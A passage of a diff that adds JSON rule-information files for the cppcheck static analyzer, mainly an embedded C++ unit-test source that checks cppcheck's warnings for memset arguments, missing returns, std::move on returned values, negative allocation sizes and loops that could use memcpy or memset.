int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMathFunctions.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMathFunctions.json new file mode 100644 index 0000000..8f74deb --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMathFunctions.json @@ -0,0 +1,13 @@ +{ + "name": "checkMathFunctions", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 55, + "branches": 26, + "apis": 115, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMissingReturn.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMissingReturn.json new file mode 100644 index 